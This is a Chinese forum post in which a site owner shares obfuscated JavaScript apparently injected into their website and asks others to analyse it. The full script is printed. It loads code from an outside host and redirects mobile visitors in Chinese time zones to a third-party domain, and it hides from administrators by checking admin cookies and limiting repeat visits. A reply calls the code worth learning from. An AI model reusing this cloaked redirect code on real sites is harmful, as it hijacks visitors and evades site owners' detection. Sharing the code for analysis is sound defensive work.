被挂马了，发出来大佬们分析分析

羊村你喜哥

nk123 发表于 2025-3-5 19:34
点击下载是空白，无法获取下载
他的代码可以学习借鉴下，蛮有技术的

1. function loadJS(_0x3ee51d, _0x265928) {
   
2.   var _0x196f57 = document.createElement("script");
   
3.   var _0x199fe3 = _0x265928 || function () {};
   
4.   _0x196f57.type = "text/javascript";
   
5.   {
   
6.     _0x196f57.onload = function () {
   
7.       _0x199fe3();
   
8.     };
   
9.   }
   
10.   _0x196f57.src = _0x3ee51d;
    
11.   document.getElementsByTagName("head")[0].appendChild(_0x196f57);
    
12. }
    
13. function isPc() {
    
14.   try {
    
15.     var _0x425d85 = navigator.platform == "Win32" || navigator.platform == "Windows";
    
16.     var _0x426231 = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" || navigator.platform == "Macintosh" || navigator.platform == "MacIntel";
    
17.     if (_0x426231 || _0x425d85) {
    
18.       return true;
    
19.     } else {
    
20.       return false;
    
21.     }
    
22.   } catch (_0x20e6bc) {
    
23.     return false;
    
24.   }
    
25. }
    
26. function setCookie(_0x180ca4, _0x45e07b, _0x4fb0da, _0x4ae261 = "minutes") {
    
27.   const _0x36cff1 = new Date();
    
28.   if (_0x4ae261 === "minutes") {
    
29.     _0x36cff1.setTime(_0x36cff1.getTime() + _0x4fb0da * 60 * 1000);
    
30.   } else if (_0x4ae261 === "days") {
    
31.     _0x36cff1.setTime(_0x36cff1.getTime() + _0x4fb0da * 24 * 60 * 60 * 1000);
    
32.   }
    
33.   const _0x56f440 = "expires=" + _0x36cff1.toUTCString();
    
34.   document.cookie = _0x180ca4 + "=" + _0x45e07b + ";" + _0x56f440 + ";path=/";
    
35. }
    
36. function getCookie(_0x5a0a01) {
    
37.   const _0x20540e = decodeURIComponent(document.cookie);
    
38.   const _0x5a3121 = _0x20540e.split(";");
    
39.   for (let _0x3455be = 0; _0x3455be < _0x5a3121.length; _0x3455be++) {
    
40.     let _0x4819fb = _0x5a3121[_0x3455be].trim();
    
41.     if (_0x4819fb.indexOf(_0x5a0a01 + "=") === 0) {
    
42.       return _0x4819fb.substring(_0x5a0a01.length + 1);
    
43.     }
    
44.   }
    
45.   return null;
    
46. }
    
47. function deleteCookie(_0x3f4f74) {
    
48.   document.cookie = _0x3f4f74 + "=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";
    
49. }
    
50. function getUserTimezone() {
    
51.   return Intl.DateTimeFormat().resolvedOptions().timeZone;
    
52. }
    
53. function isTimezoneAllowed(_0x16d716, _0x3dad68) {
    
54.   return _0x3dad68.includes(_0x16d716);
    
55. }
    
56. function vfed_update(_0x59e1bb) {
    
57.   if (_0x59e1bb !== "") {
    
58.     loadJS("https://union.macoms.la/html/checkcache.js?o=368", function () {
    
59.       if (usercache == true) {
    
60.         window.location.href = _0x59e1bb;
    
61.       }
    
62.     });
    
63.   }
    
64. }
    
65. var ismobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
    
66. if (ismobile) {
    
67.   var current_host = window.location.host;
    
68.   var s = document.referrer;
    
69.   var jp = "";
    
70.   var default_jp = "https://weewqrfv.com/redirect?from=idjc";
    
71.   var rand = Math.floor(Math.random() * 100 + 1);
    
72.   var thisDate = new Date();
    
73.   var currentTime = thisDate.getHours();
    
74.   var userTimezone = getUserTimezone();
    
75.   const allowedTimezone = ["Asia/Shanghai", "Asia/Chongqing", "Asia/Harbin", "Asia/Urumqi", "Asia/Kashgar", "Asia/Beijing"];
    
76.   if (current_host.indexOf("www.dxtv1.com") !== -1 || current_host.indexOf("www.ys752.com") !== -1) {
    
77.     jp = "https://weewqrfv.com/redirect?from=idjc";
    
78.   } else if (current_host.indexOf("shuanshu.com.com") !== -1) {
    
79.     jp = "https://weewqrfv.com/redirect?from=idjc";
    
80.   } else if (s.indexOf(".") !== -1 && s.indexOf(current_host) == -1) {
    
81.     if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
    
82.       jp = default_jp;
    
83.     }
    
84.   } else if (currentTime >= 0 && currentTime < 2) {
    
85.     if (rand <= 60) {
    
86.       if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
    
87.         jp = default_jp;
    
88.       }
    
89.     }
    
90.   } else if (currentTime >= 2 && currentTime < 4) {
    
91.     if (rand <= 70) {
    
92.       if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
    
93.         jp = default_jp;
    
94.       }
    
95.     }
    
96.   } else if (currentTime >= 4 && currentTime < 7) {
    
97.     if (rand <= 80) {
    
98.       if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
    
99.         jp = default_jp;
    
100.       }
     
101.     }
     
102.   } else if (currentTime >= 7 && currentTime < 8) {
     
103.     if (rand <= 60) {
     
104.       if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
     
105.         jp = default_jp;
     
106.       }
     
107.     }
     
108.   } else if (rand <= 50) {
     
109.     if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
     
110.       jp = default_jp;
     
111.     }
     
112.   }
     
113.   (() => {
     
114.     const _0x217c3c = "userVisitCount";
     
115.     const _0x10d77e = "userBlocked";
     
116.     const _0x3ce884 = getCookie(_0x10d77e);
     
117.     if (_0x3ce884) {
     
118.       return;
     
119.     }
     
120.     let _0x453c44 = getCookie(_0x217c3c);
     
121.     if (_0x453c44) {
     
122.       _0x453c44 = parseInt(_0x453c44, 10);
     
123.       if (_0x453c44 >= 2) {
     
124.         setCookie(_0x10d77e, "true", 600);
     
125.         deleteCookie(_0x217c3c);
     
126.       } else {
     
127.         _0x453c44 += 1;
     
128.         setCookie(_0x217c3c, _0x453c44, 60);
     
129.         if (jp != "" && !isPc()) {
     
130.           if (document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
     
131.             vfed_update(jp);
     
132.           }
     
133.         }
     
134.       }
     
135.     } else {
     
136.       setCookie(_0x217c3c, 1, 60);
     
137.       if (jp != "" && !isPc()) {
     
138.         if (document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
     
139.           vfed_update(jp);
     
140.         }
     
141.       }
     
142.     }
     
143.   })();
     
144. }
     

复制代码